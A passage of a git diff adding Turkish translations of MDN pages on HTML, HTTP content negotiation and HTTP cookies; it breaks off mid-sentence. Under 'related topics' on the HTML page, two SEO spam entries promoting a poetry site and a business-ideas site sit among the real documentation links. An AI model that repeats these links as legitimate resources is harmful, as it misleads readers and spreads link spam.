href="/en-US/docs/Web/HTML/Reference">Genişletilmiş HTML örnekleri </a>bölümümüzde, HTML'deki her element ve özellik hakkındaki ayrıntıları bulacaksınız.</p> + </li> +</ul> + +<div class="row topicpage-table"> +<div class="section"> +<h2 class="Tools" id="Temel_Düzey_Dersleri">Temel Düzey Dersleri</h2> + +<p><a href="/en-US/docs/Learn/HTML">HTML Ögrenme Alanımız</a> HTML hakkında hiçbir önbilgi sahibi olmanızı gerektirmeksizin en temelden başlayarak anlatan modüller bulundurmaktadır.</p> + +<dl> + <dt><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML">HTML'e Giriş </a></dt> + <dd>Bu modül, sizi köprüler (linkler) oluşturma ve bir web sayfasını yapılandırmak için HTML'in nasıl kullanılabileceği gibi önemli kavramlara ve sözdizimine alıştırarak temel oluşturur.</dd> + <dt><a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding">Multimedia ekleme ve gömme (embed etme) İşlemleri</a></dt> + <dd>Bu modül, bir HTML sayfasına multimedia içeriklerin birkaç farklı yol ile nasıl dahil edileceği, videoların, ses dosyalarının ve hatta bir web sayfasının tamamımının bir HTML sayfasına nasıl gömülebileceğini keşfetmenizi sağlar.</dd> + <dt><a href="/en-US/docs/Learn/HTML/Tables">HTML tabloları</a></dt> + <dd>Bir web sayfasındaki tablo verilerini anlaşılabilir, erişilebilir bir şekilde göstermek zor olabilir. Bu modül, temel tablo elementlerinden {{HTMLElement("caption")}} ve {{HTMLElement("summary")}} gibi daha ileri özelliklere kadar bilgileri kapsar.</dd> + <dt><a href="/en-US/docs/Learn/HTML/Forms">HTML formları</a></dt> + <dd>Formlar, Web’in çok önemli bir parçasıdır - kaydolma ve giriş yapma, geri bildirim gönderme, ürün satın alma gibi web siteleriyle etkileşimde bulunmak için ihtiyacınız olan işlevselliğin çoğunu sağlar. Bu modül, formların istemci tarafı / front-end kısımlarını oluşturmaya başlamanızı sağlar.</dd> + <dt><a href="/en-US/docs/Learn/HTML/Howto">Yaygın HTML problemlerinin çözümleri</a></dt> + <dd>Bir web sayfası oluştururken sık karşılaşılan HTML sorunlarının nasıl çözülebileceğini açıklayan içerik bölümlerine bağlantılar sağlar: başlıklarla çalışmak, resimler veya videolar eklemek, içeriği vurgulamak, temel bir form oluşturmak, vb.</dd> +</dl> + +<h2 id="İleri_Düzey_Konular">İleri Düzey Konular</h2> + +<dl> + <dt class="landingPageList"><a href="/en-US/docs/Web/HTML/CORS_enabled_image">CORS olarak etkinleştirilmiş resim</a></dt> + <dd class="landingPageList">{{htmlattrxref("crossorigin", "img")}} özelliği, uygun bir {{glossary("CORS")}} üstbilgisiyle birlikte, {{HTMLElement("img")}} elementi tarafından tanımlanan görüntülerin yabancı kaynaklardan yüklenmesini ve bir {{HTMLElement("canvas")}} elemanında mevcut orijinden yüklenmiş gibi kullanılmasını sağlar.</dd> + <dt class="landingPageList"><a href="/en-US/docs/Web/HTML/CORS_settings_attributes">CORS </a><a href="/en-US/docs/Web/HTML/CORS_settings_attributes">ayarları özellikleri</a></dt> + <dd class="landingPageList">{{HTMLElement("img")}} veya {{HTMLElement("video")}} gibi <a href="/en-US/docs/HTTP/Access_control_CORS">CORS</a> desteği sağlayan bazı HTML öğelerinde, öğenin getirilen verileri için CORS isteklerini yapılandırmanıza izin veren bir <code>crossorigin</code> özelliği (<code>crossOrigin</code> özelliği) bulunur.</dd> + <dt class="landingPageList"><a href="/en-US/docs/Web/HTML/Focus_management_in_HTML">HTML'de Focus yönetimi</a></dt> + <dd><code><a href="/en-US/docs/Web/API/Document/activeElement">activeElement</a></code> DOM özelliği ve <code><a href="/en-US/docs/Web/API/Document/hasFocus">hasFocus()</a></code> DOM metodu bir kullanıcınin bir web sayfasindaki elementlerle etkileşimlerini izlemenize ve kontrol etmenize yardımcı olur.</dd> + <dt class="landingPageList"><a href="/en-US/docs/Web/HTML/Preloading_content">rel="preload" ile içeriği önceden yükleme</a></dt> + <dd class="landingPageList">{{htmlelement("link")}} elementinin <code>preload</code> değerinin {{htmlattrxref("rel", "link")}} özelliği HTML’nizin {{htmlelement("head")}} bölümüne web tarayıcısının sayfayı ilk gösterime hazırlamasından önce, sayfa ilk görüntülendiğinde görünecek olan bölümlerin istenildiği gibi gösterilebilmesi için ihtiyaç duyacağı kaynakları sayfa yüklenmeye ilk başladığında getirmesi için isteklerinizi yazmanıza olanak tanır. Bu, daha önceden kullanılabilir olmalarını sağlar ve sayfanın ilk oluşturma işlemini engelleme olasılığının daha düşük olmasını sağlar ve bu da performans iyileştirmeleri sağlar. Bu makale, önyüklemenin nasıl çalıştığı hakkında temel bir rehberdir.</dd> +</dl> +</div> + +<div class="section"> +<h2 class="Documentation" id="HTML_öğeleri">HTML öğeleri</h2> + +<dl> + <dt class="landingPageList"><a href="/en-US/docs/Web/HTML/Reference">HTML öğeleri</a></dt> + <dd class="landingPageList">HTML, her biri belirli sayıda <strong>özellik (attribute)</strong> tarafından özelleştirilebilen <strong>elementlerden (HTML elementi)</strong> oluşur. HTML belgeleri birbirine <a href="/en-US/docs/Web/HTML/Link_types">linkler</a> ile bağlanır.</dd> + <dt class="landingPageList"><a href="/en-US/docs/Web/HTML/Element">HTML elementleri</a></dt> + <dd class="landingPageList">Tüm {{glossary("HTML")}} {{glossary("Element", "element")}} 'lerinin yer aldığı listeye göz at!</dd> + <dt class="landingPageList"><a href="/en-US/docs/Web/HTML/Attributes">HTML özellikleri (attribute)</a></dt> + <dd class="landingPageList">HTML elementleri özelliklere sahiptirler. Bu özellikler farklı yollarla elementlerin davranışlarını belirler.</dd> + <dt class="landingPageList"><a href="/en-US/docs/Web/HTML/Global_attributes">Global özellikler (attributes)</a></dt> + <dd class="landingPageList">Global özellikler <em>standart olmayan elementler dahil</em> tüm HTML elementlerini belirler.<em> </em>Bu HTML5 ile uyumlu olmayan bir belge olsa dahi tum elementleri belirtebileceği anlamına gelir.</dd> + <dt class="landingPageList"><a href="/en-US/docs/Web/HTML/Inline_elements">Inline elementler</a> ve <a href="/en-US/docs/Web/HTML/Block-level_elements">block-level elementler</a></dt> + <dd class="landingPageList">HTML elementleri genelde "inline" (satıriçi) veya "block-level" (blok düzeyli) elementlerdir. Bir inline element yalnızca onu tanımlayan etiketlerle sınırlanan alan kadar yer kaplar. Bir block-level element bir "blok" oluşturarak bir ust elementinin tumunu kaplar.</dd> + <dt class="landingPageList"><a href="/en-US/docs/Web/HTML/Link_types">Link tipleri</a></dt> + <dd class="landingPageList">HTML'de, iki doküman arasında bağlantılar birçok farklı link tipi ile kurulabilir. Link elementleri {{HTMLElement("a")}}, {{HTMLElement("area")}} and {{HTMLElement("link")}} ile oluşturulabilir.</dd> + <dt class="landingPageList"><a href="/en-US/docs/Web/HTML/Supported_media_formats">HTML audio ve video elementleri tarafından desteklenen media formatları</a></dt> + <dd class="landingPageList">{{HTMLElement("audio")}} ve {{HTMLElement("video")}} elementleri audio ve video dosyaları oynatmanıza izin verir. Bu elementler Adobe Flash ve eklentilere alternatif olarak tarayıcıya özgü oynatıcılar sunar.</dd> + <dt class="landingPageList"><a href="/en-US/docs/Web/HTML/Kinds_of_HTML_content">HTML içeriğinin çeşitleri</a></dt> + <dd class="landingPageList">HTML, her biri belirli bağlamlarda kullanılmasına izin verilen ve başkalarına izin verilmeyen çeşitli içerik türlerinden oluşur. Benzer şekilde, her biri içerebilecekleri başka içerik kategorilerine ve içinde kullanılabilecek veya kullanılamayacak öğelere sahiptir. Bu, bu kategoriler için bir rehberdir.</dd> + <dt class="landingPageList"></dt> + <dt class="landingPageList"><a href="/en-US/docs/Web/HTML/Quirks_Mode_and_Standards_Mode">Quirks mod(garip mod) and standard mod</a></dt> + <dd class="landingPageList">Quirk mod and standard mod hakkında tarihi bilgiler.</dd> +</dl> + +<h2 class="landingPageList" id="İlgili_Konular">İlgili Konular</h2> + +<dl> + <dt><a href="/en-US/docs/Web/HTML/Applying_color">HTML elementlerini CSS kullanarak renklendirmek</a></dt> + <dd>Bu makale HTML içeriklerine CSS kullanarak renk eklemek için kullanılan çoğu yolu kapsamaktadır. Renklendirilebilecek HTML elementlerini ve bu elementleri hangi CSS özellikleri kullanılarak renklendirilebileceğini gösterir. Örnekler, renk palet araçlarının linkleri ve daha fazlası burada.</dd> + <dt>SEO ile ilgili bilgiler</dt> + <dd>Örneğin yükselmek istediğiniz anahtar kelime <a href="https://www.enguzelsiirleri.com/2017/09/sevgi-ile-ilgili-siirler.html">Sevgi ile ilgili şiirler</a> olsun. Anahtar kelime analizi çıkararak bu durumu halledebilirsiniz.</dd> + <dt>İş Fikirleri</dt> + <dd><a href="https://www.kobifikirleri.com/is-fikirleri">İş fikirleri </a>kategorisinde her konuda kaliteli içerik oluşturarak size yardımcı olan rehber niteliğinde bir kaynaktır. </dd> +</dl> +</div> +</div> +<span class="alllinks"><a href="/en-US/docs/tag/HTML">Tümünü Görüntüle...</a></span></section> diff --git a/files/tr/web/http/content_negotiation/index.html b/files/tr/web/http/content_negotiation/index.html new file mode 100644 index 0000000000..9a12e443a3 --- /dev/null +++ b/files/tr/web/http/content_negotiation/index.html @@ -0,0 +1,141 @@ +--- +title: İçerik görüşmesi +slug: Web/HTTP/Content_negotiation +translation_of: Web/HTTP/Content_negotiation +--- +<div>{{HTTPSidebar}}</div> + +<p class="summary"><a href="/tr/docs/Glossary/HTTP">HTTP</a> protokolünde, <em><strong>içerik görüşmesi</strong></em> bir kaynağın aynı URI'de farklı biçimlerini sunmak için kullanılan mekanizmadır, bu mekanizma sayesinde kullanıcının programı onun için bunların hangisinin daha uygun olacağını belirleyebilir (örneğin, bir dosyanın hangi dilinin, hangi resim formatının, ya da hangi içerik kodlamasının seçileceği gibi).</p> + +<h2 id="İçerik_görüşmesi_prensipleri">İçerik görüşmesi prensipleri</h2> + +<p>Belirli bir dosyaya <em>kaynak </em>denir. Bir istemci bu kaynağı elde etmek istediğinde, onun URL'sini kullanarak istekte bulunur. Sunucu bu URL'yi kullanarak bir varyantı seçer – her bir varyanta bir <em>temsil </em>denilir – ve istemciye bu belirli temsili döndürür. Kaynağın kendisinin, ve her bir temsilinin, belirli bir URL'si vardır. How a specific representation is chosen when the resource is called is determined by <em>content negotiation</em> and there are several ways of negotiating between the client and the server.</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/13789/HTTPNego.png" style="height: 311px; width: 767px;"></p> + +<p>The determination of the best suited representation is made through one of two mechanisms:</p> + +<ul> + <li>Specific <a href="/tr/docs/Web/HTTP/Headers">HTTP headers</a> by the client (<em>server-driven negotiation</em> or <em>proactive negotiation</em>), which is the standard way of negotiating a specific kind of resource.</li> + <li>The {{HTTPStatus("300")}} (Multiple Choices) or {{HTTPStatus("406")}} (Not Acceptable) <a href="/tr/docs/Web/HTTP/Status">HTTP response codes</a> by the server (<em>agent-driven negotiation</em> or <em>reactive negotiation</em>), that are used as fallback mechanisms.</li> +</ul> + +<p>Over the years, other content negotiation proposals, like <em>transparent content negotiation</em> and the <code>Alternates</code> header, have been proposed. They failed to get traction and got abandoned.</p> + +<h2 id="Server-driven_content_negotiation">Server-driven content negotiation</h2> + +<p>In <em>server-driven content negotiation</em>, or proactive content negotiation, the browser (or any other kind of user-agent) sends several HTTP headers along with the URL. These headers describe the preferred choice of the user. The server uses them as hints and an internal algorithm chooses the best content to serve to the client. The algorithm is server-specific and not defined in the standard. See, for example, the <a class="external" href="http://httpd.apache.org/docs/2.2/en/content-negotiation.html#algorithm">Apache 2.2 negotiation algorithm</a>.</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/13791/HTTPNegoServer.png" style="height: 380px; width: 767px;"></p> + +<p>The HTTP/1.1 standard defines list of the standard headers that start server-driven negotiation ({{HTTPHeader("Accept")}}, {{HTTPHeader("Accept-Charset")}}, {{HTTPHeader("Accept-Encoding")}}, {{HTTPHeader("Accept-Language")}}). Though strictly speaking {{HTTPHeader("User-Agent")}} is not in this list, it is sometimes also used to send a specific representation of the requested resource, though this is not considered as a good practice. The server uses the {{HTTPHeader("Vary")}} header to indicate which headers it actually used for content negotiation (or more precisely the associated response headers), so that <a href="/en-US/docs/Web/HTTP/Caching">caches</a> can work optimally.</p> + +<p>In addition to these, there is an experimental proposal to add more headers to the list of available headers, called <em>client hints</em>. Client hints advertise what kind of device the user agent runs on (for example, if it is a desktop computer or a mobile device).</p> + +<p>Even if server-driven content negotiation is the most common way to agree on a specific representation of a resource, it has several drawbacks:</p> + +<ul> + <li>The server doesn't have total knowledge of the browser. Even with the Client Hints extension, it has not a complete knowledge of the capabilities of the browser. Unlike reactive content negotiation where the client makes the choice, the server choice is always somewhat arbitrary.</li> + <li>The information by the client is quite verbose (HTTP/2 header compression mitigates this problem) and a privacy risk (HTTP fingerprinting)</li> + <li>As several representations of a given resource are sent, shared caches are less efficient and server implementations are more complex.</li> +</ul> + +<h3 id="The_Accept_header">The <code>Accept</code> header</h3> + +<p>The {{HTTPHeader("Accept")}} header lists the MIME types of media resources that the agent is willing to process. It is comma-separated lists of MIME types, each combined with a quality factor, a parameter indicating the relative degree of preference between the different MIME types.</p> + +<p>The {{HTTPHeader("Accept")}} header is defined by the browser, or any other user-agent, and can vary according to the context, like fetching an HTML page or an image, a video, or a script: It is different when fetching a document entered in the address bar or an element linked via an {{ HTMLElement("img") }}, {{ HTMLElement("video") }} or {{ HTMLElement("audio") }} element. Browsers are free to use the value of the header that they think is the most adequate; an exhaustive list of <a href="/en-US/docs/Web/HTTP/Content_negotiation/List_of_default_Accept_values">default values for common browsers</a> is available.</p> + +<h3 id="The_Accept-CH_header_experimental_inline">The <code>Accept-CH</code> header {{experimental_inline}}</h3> + +<div class="note"> +<p>This is part of an <strong>experimental</strong> technology called <em>Client Hints</em>. Initial support is in Chrome 46 or later. The Device-Memory value is in Chrome 61 or later.</p> +</div> + +<p>The experimental {{HTTPHeader("Accept-CH")}} lists configuration data that can be used by the server to select an appropriate response. Valid values are:</p> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Value</th> + <th scope="col">Meaning</th> + </tr> + </thead> + <tbody> + <tr> + <td><code>Device-Memory</code></td> + <td>Indicates the approximate amount of device RAM. This value is an approximation given by rounding to the nearest power of 2 and dividing that number by 1024. For example, 512 megabytes will be reported as <code>0.5</code>. </td> + </tr> + <tr> + <td><code>DPR</code></td> + <td>Indicates the client's device pixel ratio.</td> + </tr> + <tr> + <td><code>Viewport-Width</code></td> + <td>Indicates the layout viewport width in CSS pixels. </td> + </tr> + <tr> + <td><code>Width</code></td> + <td>Indicates the resource width in physical pixels (in other words the intrinsic size of an image).</td> + </tr> + </tbody> +</table> + +<h3 id="The_Accept-Charset_header">The <code>Accept-Charset</code> header</h3> + +<p>The {{HTTPHeader("Accept-Charset")}} header indicates to the server what kinds of character encodings are understood by the user-agent. Traditionally, it was set to a different value for each locale for the browser, like <code>ISO-8859-1,utf-8;q=0.7,*;q=0.7</code> for a Western European locale.</p> + +<p>With UTF-8 now being well-supported, being the preferred way of encoding characters, <a href="https://www.eff.org/deeplinks/2010/01/primer-information-theory-and-privacy">and to guarantee better privacy through less configuration-based entropy</a>, browsers omit the <code>Accept-Charset</code> header: Internet Explorer 8, Safari 5, Opera 11, Firefox 10 and Chrome 27 have abandoned this header.</p> + +<h3 id="The_Accept-CH-Lifetime_header">The <code>Accept-CH-Lifetime</code> header</h3> + +<div class="note"> +<p>This is part of an <strong>experimental</strong> technology called <em>Client Hints </em> and is only available in Chrome 61 or later.</p> +</div> + +<p>The {{HTTPHeader("Accept-CH-Lifetime")}} header is used with the <code>Device-Memory</code> value of the <code>Accept-CH</code> header and indicates the amount of time the device should opt-in to sharing the amount of device memory with the server. The value is given in miliseconds and it's use is optional.</p> + +<h3 id="The_Accept-Encoding_header">The <code>Accept-Encoding</code> header</h3> + +<p>The {{HTTPHeader("Accept-Encoding")}} header defines the acceptable content-encoding (supported compressions). The value is a q-factor list (e.g.: <code>br, gzip;q=0.8</code>) that indicates the priority of the encoding values. The default value <code>identity</code> is at the lowest priority (unless otherwise declared).</p> + +<p>Compressing HTTP messages is one of the most important ways to improve the performance of a Web site, it shrinks the size of the data transmitted and makes better use of the available bandwidth; browsers always send this header and the server should be configured to abide to it and to use compression.</p> + +<h3 id="The_Accept-Language_header">The <code>Accept-Language</code> header</h3> + +<p>The {{HTTPHeader("Accept-Language")}} header is used to indicate the language preference of the user. It is a list of values with quality factors (like: <code>"de, en;q=0.7</code>"). A default value is often set according the language of the graphical interface of the user agent, but most browsers allow to set different language preferences.</p> + +<p>Due to the <a href="https://www.eff.org/deeplinks/2010/01/primer-information-theory-and-privacy">configuration-based entropy</a> increase, a modified value can be used to fingerprint the user, it is not recommended to change it and a Web site cannot trust this value to reflect the actual wish of the user. Site designers must not be over-zealous by using language detection via this header as it can lead to a poor user experience:</p> + +<ul> + <li>They should always provide a way to overcome the server-chosen language, e.g., by providing a language menu on the site. Most user-agents provide a default value for the <code>Accept-Language</code> header, adapted to the user interface language and end users often do not modify it, either by not knowing how, or by not being able to do it, as in an Internet café for instance.</li> + <li>Once a user has overridden the server-chosen language, a site should no longer use language detection and should stick with the explicitly-chosen language. In other words, only entry pages of a site should select the proper language using this header.</li> +</ul> + +<h3 id="The_User-Agent_header">The <code>User-Agent</code> header</h3> + +<div class="note"> +<p>Though there are legitimate uses of this header for selecting content, <a href="/en-US/docs/Web/HTTP/Browser_detection_using_the_user_agent">it is considered bad practice</a> to rely on it to define what features are supported by the user agent.</p> +</div> + +<p>The {{HTTPHeader("User-Agent")}} header identifies the browser sending the request. This string may contain a space-separated list of <em>product tokens</em> and <em>comments</em>.</p> + +<p>A <em>product token</em> is a name followed by a '<code>/</code>' and a version number, like <code>Firefox/4.0.1</code>. There may be as many of them as the user-agent wants. A <em>comment</em> is a free string delimited by parentheses. Obviously parentheses cannot be used in that string. The inner format of a comment is not defined by the standard, though several browser put several tokens in it, separated by '<code>;</code>'.</p> + +<h3 id="The_Vary_response_header">The <code>Vary</code> response header</h3> + +<p>In opposition to the previous <code>Accept-*</code> headers which are sent by the client, the {{HTTPHeader("Vary")}} HTTP header is sent by the web server in its response. It indicates the list of headers used by the server during the server-driven content negotiation phase. The header is needed in order to inform the cache of the decision criteria so that it can reproduce it, allowing the cache to be functional while preventing serving erroneous content to the user.</p> + +<p>The special value of '<code>*</code>' means that the server-driven content negotiation also uses information not conveyed in a header to choose the appropriate content.</p> + +<p>The <code>Vary</code> header was added in the version 1.1 of HTTP and is necessary in order to allow caches to work appropriately. A cache, in order to work with server-driven content negotiation, needs to know which criteria was used by the server to select the transmitted content. That way, the cache can replay the algorithm and will be able to serve acceptable content directly, without more request to the server. Obviously, the wildcard '<code>*</code>' prevents caching from occurring, as the cache cannot know what element is behind it.</p> + +<h2 id="Agent-driven_negotiation">Agent-driven negotiation</h2> + +<p>Server-driven negotiation suffers from a few downsides: it doesn't scale well. There is one header per feature used in the negotiation. If you want to use screen size, resolution or other dimensions, a new HTTP header must be created. Sending of the headers must be done on every request. This is not too problematic with few headers, but with the eventual multiplications of them, the message size would lead to a decrease in performance. The more precise headers are sent, the more entropy is sent, allowing for more HTTP fingerprinting and corresponding privacy concern.</p> + +<p>From the beginnings of HTTP, the protocol allowed another negotiation type: <em>agent-driven negotiation</em> or <em>reactive negotiation</em>. In this negotiation, when facing an ambiguous request, the server sends back a page containing links to the available alternative resources. The user is presented the resources and choose the one to use.</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/13795/HTTPNego3.png"></p> + +<p>Unfortunately, the HTTP standard does not specify the format of the page allowing to choose between the available resource, which prevents to easily automatize the process. Besides falling back to the <em>server-driven negotiation</em>, this method is almost always used in conjunction with scripting, especially with JavaScript redirection: after having checked for the negotiation criteria, the script performs the redirection. A second problem is that one more request is needed in order to fetch the real resource, slowing the availability of the resource to the user.</p> diff --git a/files/tr/web/http/cookies/index.html b/files/tr/web/http/cookies/index.html new file mode 100644 index 0000000000..b815de758d --- /dev/null +++ b/files/tr/web/http/cookies/index.html @@ -0,0 +1,251 @@ +--- +title: HTTP çerezleri +slug: Web/HTTP/Cookies +tags: + - HTTP + - Sunucu + - Tarayıcı + - Çerezler +translation_of: Web/HTTP/Cookies +--- +<div>{{HTTPSidebar}}</div> + +<p class="summary"><span class="seoSummary"><dfn>HTTP çerezi</dfn> (web çerezi, tarayıcı çerezi), bir sunucunun kullanıcının web tarayıcısına gönderdiği küçük bir veri parçasıdır. Tarayıcı bunu saklayabilir ve bir sonraki istekle aynı sunucuya geri gönderebilir.</span> <span class="tlid-translation translation" lang="tr">Genellikle, iki ayrı isteğin aynı tarayıcıdan gelip gelmediğini anlamak için kullanılır - örneğin bir kullanıcının giriş yapmış olarak kalması gibi. HTTP protokolü durumsuz (</span><a href="/en-US/docs/Web/HTTP/Overview#HTTP_is_stateless_but_not_sessionless">stateless</a><span class="tlid-translation translation" lang="tr">) olduğu için çerez durum bilgisini hatırlar.</span></p> + +<p>Çerezler temel olarak üç amaç için kullanılır:</p> + +<dl> + <dt>Oturum yönetimi</dt> + <dd><span class="tlid-translation translation" lang="tr">Girişler, alışveriş sepetleri, oyun puanları veya sunucunun hatırlaması gereken diğer şeyler</span></dd> + <dt><span class="tlid-translation translation" lang="tr">Kişiselleştirme</span></dt> + <dd><span class="tlid-translation translation" lang="tr">Kullanıcı tercihleri, temalar ve diğer ayarlar</span></dd> + <dt><span class="tlid-translation translation" lang="tr">Takip etme</span></dt> + <dd><span class="tlid-translation translation" lang="tr">Kullanıcı davranışını kaydetme ve analiz etme</span></dd> +</dl> + +<p><span class="tlid-translation translation" lang="tr">Çerezler eskiden genel istemci tarafında depolama amaçlı kullanılmıştır. O zamanlar istemcide veri depolamanın tek yolu bu olduğundan çerez kullanımı mantıklı idi; ancak günümüzde modern depolama API'lerini tercih etmeleri önerilir. Çerezler her istekle birlikte gönderilir, bu yüzden performansı düşürebilirler (özellikle mobil veri bağlantıları için). İstemci depolaması için kullanılan modern API'ler </span><a href="/en-US/docs/Web/API/Web_Storage_API" title="DOM Storage">Web storage API</a> (<code>localStorage</code> ve <code>sessionStorage</code>) ve <a href="/en-US/docs/Web/API/IndexedDB_API">IndexedDB</a><span class="tlid-translation translation" lang="tr">'dir.</span></p> + +<div class="note"> +<p><span class="tlid-translation translation" lang="tr">Depolanmış çerezleri (ve bir web sayfasının kullanabileceği diğer depoları) görmek için, Geliştirici Araçları'nda Depolama Denetçisi'ni (</span><a href="/en-US/docs/Tools/Storage_Inspector">Storage Inspector</a><span class="tlid-translation translation" lang="tr">) etkinleştirebilir ve depolama ağacından Çerezler'i seçebilirsiniz.</span></p> +</div> + +<h2 id="Çerez_oluşturma"><span class="tlid-translation translation" lang="tr">Çerez oluşturma</span></h2> + +<p><span class="tlid-translation translation" lang="tr">Bir HTTP isteği aldığında, sunucu yanıtla beraber bir {{HTTPHeader ("Set-Cookie")}} başlığı gönderebilir. Bu çerez genellikle tarayıcı tarafından depolanır ve daha sonra aynı sunucuya yapılan isteklerde {{HTTPHeader ("Cookie")}} HTTP başlığı içinde gönderilir. Son kullanma tarihi veya kullanım süresi tanımlanabilir, bu süre bitiminde artık çerez gönderilmez. Buna ilaveten, çerezin gönderildiği yeri sınırlayacak belirli bir alan(domain) ve yol(path) için kısıtlamalar konulabilir.</span></p> + +<h3 id="Set-Cookie_ve_Cookie_başlıkları"><code>Set-Cookie</code> ve <code>Cookie</code> başlıkları</h3> + +<p>The {{HTTPHeader("Set-Cookie")}} HTTP yanıt başlığı,<span class="tlid-translation translation" lang="tr"> sunucudan kullanıcı programa çerezleri gönderir. Basit bir çerez şöyle ayarlanır:</span> :</p> + +<pre class="syntaxbox">Set-Cookie: <cookie-adı>=<cookie-değeri></pre> + +<p><span class="tlid-translation translation" lang="tr">Sunucudan gelen bu başlık istemciye bir çerezi kaydetmesini söyler.</span></p> + +<div class="note"><strong>Not:</strong> <code>Set-Cookie</code><span class="tlid-translation translation" lang="tr"> başlığı çeşitli sunucu tarafı uygulamalarda şöyle kullanılır</span>: + +<ul> + <li><a href="https://secure.php.net/manual/en/function.setcookie.php">PHP</a></li> + <li><a href="https://nodejs.org/dist/latest-v8.x/docs/api/http.html#http_response_setheader_name_value">Node.JS</a></li> + <li><a href="https://docs.python.org/3/library/http.cookies.html">Python</a></li> + <li><a href="https://api.rubyonrails.org/classes/ActionDispatch/Cookies.html">Ruby on Rails</a></li> +</ul> +</div> + +<pre>HTTP/2.0 200 OK +Content-type: text/html +Set-Cookie: skor=75 +Set-Cookie: tema=dark + +[page content]</pre> + +<p id="The_client_sends_back_to_the_server_its_cookies_previously_stored"><span class="tlid-translation translation" lang="tr">Artık tarayıcı sunucuya yaptığı her yeni istekte daha önce kaydetmiş olduğu tüm çerezleri {{HTTPHeader ("Cookie")}} başlığını kullanarak geri gönderir.</span></p> + +<pre>GET /sample_page.html HTTP/2.0 +Host: www.example.org +Cookie: skor=75; tema=dark</pre> + +<h3 id="Oturum_çerezleri">Oturum çerezleri</h3> + +<p><span class="tlid-translation translation" lang="tr">Yukarıda oluşturulan çerez bir <em>oturum çerezidir</em>: istemci kapandığında silinir, çünkü bir </span><code>Expires</code> veya <code>Max-Age</code><span class="tlid-translation translation" lang="tr"> direktifi belirtmemiştir. Ancak web tarayıcıları <strong>oturum canlandırma (</strong></span><strong>session restoring</strong><span class="tlid-translation translation" lang="tr"><strong>)</strong> özelliğini kullanarak çoğu oturum çerezini sanki tarayıcı hiç kapatılmamış gibi kalıcı yapabilirler.</span></p> + +<h3 id="Kalıcı_çerezler">Kalıcı çerezler</h3> + +<p><em>K</em><span class="tlid-translation translation" lang="tr"><em>alıcı çerezler</em>, </span>istemci <span class="tlid-translation translation" lang="tr">kapandığında zaman aşımına uğramak yerine, belirli bir tarihte </span>(<code>Expires</code>)<span class="tlid-translation translation" lang="tr"> veya belirli bir süre sonra </span>(<code>Max-Age</code>)<span class="tlid-translation translation" lang="tr"> kullanımdan kalkar.</span></p> + +<pre>Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;</pre> + +<div class="note"> +<p><strong>Not</strong>: <span class="tlid-translation translation" lang="tr">Son kullanma tarihi belirtildiğinde, saat ve tarih sunucuya göre değil, çerezi tanımlayan istemciye göre ayarlanır.</span></p> +</div> + +<h3 id="Secure_ve_HttpOnly_çerezleri"><code>Secure</code> ve <code>HttpOnly</code> çerezleri</h3> + +<p><span class="tlid-translation translation" lang="tr">Güvenli bir çerez, sunucuya yalnızca HTTPS protokolü üzerinden şifrelenmiş bir istekle gönderilebilir. </span><code>Secure</code><span class="tlid-translation translation" lang="tr"> bayrağı bile olsa, hassas bilgiler <em>asla </em>çerezlerde saklanmamalıdır; çünkü çerezler doğası gereği güvenli değildir ve bu bayrak gerçek bir koruma sağlayamaz. Chrome 52 ve Firefox 52'den itibaren, güvensiz siteler </span>(<code>http:</code>) <code>Secure</code> direktifi <span class="tlid-translation translation" lang="tr">ile çerezleri ayarlayamamaktadır.</span></p> + +<p><span class="tlid-translation translation" lang="tr">Siteler arası komut dosyası çalıştırma ({{Glossary ("XSS")}}) saldırılarını önlemek için, </span><code>HttpOnly</code><span class="tlid-translation translation" lang="tr"> çerezlerine JavaScript'in {{domxref ("Document.cookie")}} API'sinden erişilemez; bu çerezler sadece sunucuya gönderilir. Örneğin, sunucu tarafı oturumlarını devam ettiren çerezlerin JavaScript'ten erşilebilir olması gerekmez, ve bunlarda </span><code>HttpOnly</code> <span class="tlid-translation translation" lang="tr">bayrağı ayarlanmalıdır.</span></p> + +<pre>Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly</pre> + +<h3 id="Çerezlerin_kapsamı"><span class="tlid-translation translation" lang="tr">Çerezlerin kapsamı</span></h3> + +<p><code>Domain</code> ve <code>Path</code> direktifleri<span class="tlid-translation translation" lang="tr"> çerezin <em>kapsamını </em>yani hangi URL'lere gönderilmesi gerektiğini </span>tanımlar.</p> + +<p><code>Domain</code> <span class="tlid-translation translation" lang="tr">çerezlerin alınmasına izin verilen ana bilgisayarları(host) belirtir. Eğer belirtilmemişse varsayılan değeri <strong>alt alanlar hariç</strong> şu anki belge konumundaki ana bilgisayardır (</span><a href="/en-US/docs/Web/API/Document/location">host of the current document location</a><span class="tlid-translation translation" lang="tr">). Eğer </span><code>Domain</code><span class="tlid-translation translation" lang="tr"> <em>belirtilmişse</em>, alt alanlar her zaman dahil edilir.</span></p> + +<p><span class="tlid-translation translation" lang="tr">Örneğin, </span><code>Domain=mozilla.org</code><span class="tlid-translation translation" lang="tr"> belirtilmişse, çerezler </span><code>developer.mozilla.org</code><span class="tlid-translation translation" lang="tr"> gibi alt alanlarda dahil edilir.</span></p> + +<p><code>Path</code><span class="tlid-translation translation" lang="tr">, </span><code>Cookie</code><span class="tlid-translation translation" lang="tr"> başlığını gönderebilmek için istenen URL'de bulunması gereken URL yolunu gösterir. %X2F ("/") karakteri dizin ayırıcı olarak kabul edilir ve alt dizinler de eşleşir.</span></p> + +<p><span class="tlid-translation translation" lang="tr">Örneğin, </span><code>Path=/docs</code> <span class="tlid-translation translation" lang="tr">belirtilmişse, şu yollar eşleşecektir:</span></p> + +<ul> + <li><code>/docs</code></li> + <li><code>/docs/Web/</code></li> + <li><code>/docs/Web/HTTP</code></li> +</ul> + +<h3 id="SameSite_çerezleri_experimental_inline"><code>SameSite</code> çerezleri {{experimental_inline}}</h3> + +<p><code>SameSite</code> çerezleri,<span class="tlid-translation translation" lang="tr"> sunucuların siteler arası yapılan isteklerde (buradaki </span>{{Glossary("Site")}}<span class="tlid-translation translation" lang="tr"> tescilli etki alanı tarafından tanımlıdır) çerez gönderimini engellemesini sağlar, bu da siteler arası sahtecilik saldırılarına 